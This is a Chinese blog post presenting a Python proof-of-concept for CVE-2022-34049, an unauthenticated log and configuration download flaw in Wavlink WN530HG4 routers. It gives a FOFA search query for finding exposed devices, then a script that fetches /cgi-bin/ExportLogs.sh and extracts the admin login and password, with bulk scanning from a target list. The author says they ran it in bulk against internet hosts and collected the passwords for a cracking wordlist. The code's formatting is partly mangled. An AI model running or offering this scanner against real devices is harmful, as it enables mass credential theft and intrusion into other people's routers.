51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

学python得永生,python大法好之利用python编写CVE-2022-34049 poc

漏洞说明

Wavlink WN530HG4 M30HG4.V5030.191116中存在访问控制问题,未经验证的攻击者可以下载日志文件和配置数据。

影响版本

Wavlink WN530HG4 M30HG4.V5030.191116
漏洞复现
fofa:title="Wi-Fi APP Login"
payload:/cgi-bin/ExportLogs.sh


POC

#!/usr/bin/env python
# -*- conding:utf-8 -*-

import requests
import argparse
import sys
import re
import urllib3
urllib3.disable_warnings()


def title():
print("""


*** ** * ** ***



/ **\|\\ \\ / /\| ****\| \|** \\ / _ \\ \|** \\ \|** \\ \|_ \\ \| \|\| \|   / _ \\ \| \|\| \|   / _ \\
\| \|      \\ \\  / / \| \|__    ______    ) \|\| \| \| \|   ) \|   ) \| ______   *) \|\| \|\| \|* \| \| \| \|\| \|\| \| \| () \|
\| \| \\ / / \| **\| \|****\| / / \| \| \| \| / / / / \|____**\| \|** \< \|** *\|\| \| \| \|\|*   \| _, \|
\| \|____    \\  /   \| \|____          / /_ \| \|\| \| / /  / /_          __) \| \| \| \| \|\| \|   \| \|     / /
_**\| / \|** ****\| \|****\| _/ \|**\|\|**\|        \|***/ \|*\| _**/ \|\|    /_/


                                                               Author:Henry4E36
               """)




class information(object):
def init(self,args):
self.args = args
self.url = args.url
self.file = args.file


    def target_url(self):
        target_url = self.url + "/cgi-bin/ExportLogs.sh"
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",

        }
        try:
            res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
            if res.status_code == 200 and "Login" in res.text and "Password" in res.text:
                print(f"\033[31m[{chr(8730)}] 目标系统: {self.url} 存在Wavlink 导出日志配置未授权访问下载漏洞\033[0m")
                pattern1 = re.compile(r"Login=(.*)")
                pattern2 = re.compile(r"Password=(.*)")
                username = pattern1.findall(res.text)[0]
                password = pattern2.findall(res.text)[0]
                print(f"\033[31m[{chr(8730)}] 用户名: {username}  密码:{password}\033[0m")
                print("[" + "-"*100 + "]")
            else:
                print(f"[\033[31mx\033[0m]  目标系统: {self.url} 不存在Wavlink 导出日志配置未授权访问下载漏洞")
                print("[" + "-"*100 + "]")
        except Exception as e:
            print("[\033[31mX\033[0m]  连接错误!")
            print("[" + "-"*100 + "]")

    def file_url(self):
        with open(self.file, "r") as urls:
            for url in urls:
                url = url.strip()
                if url[:4] != "http":
                    url = "http://" + url
                self.url = url.strip()
                information.target_url(self)




if name == "main":
title()
parser = ar=argparse.ArgumentParser(description=' Wavlink 导出日志配置未授权访问下载')
parser.add_argument("-u", "--url", type=str, metavar="url", help="Target url eg:"http://127.0.0.1"")
parser.add_argument("-f", "--file", metavar="file", help="Targets in file  eg:"ip.txt"")
args = parser.parse_args()
if len(sys.argv) != 3:
print(
"\[-\]  参数错误!\\neg1:\>\>\>python3 CVE-2022-34049.py -u http://127.0.0.1\\neg2:\>\>\>python3 CVE-2022-34049.py -f ip.txt")
elif args.url:
information(args).target_url()


    elif args.file:
        information(args).file_url()




利用fofa搜集的数据,批量跑了一下数据,把password字段收集下来,可以补充到字典里去。

赞(0)
未经允许不得转载:工具盒子 » 学python得永生,python大法好之利用python编写CVE-2022-34049 poc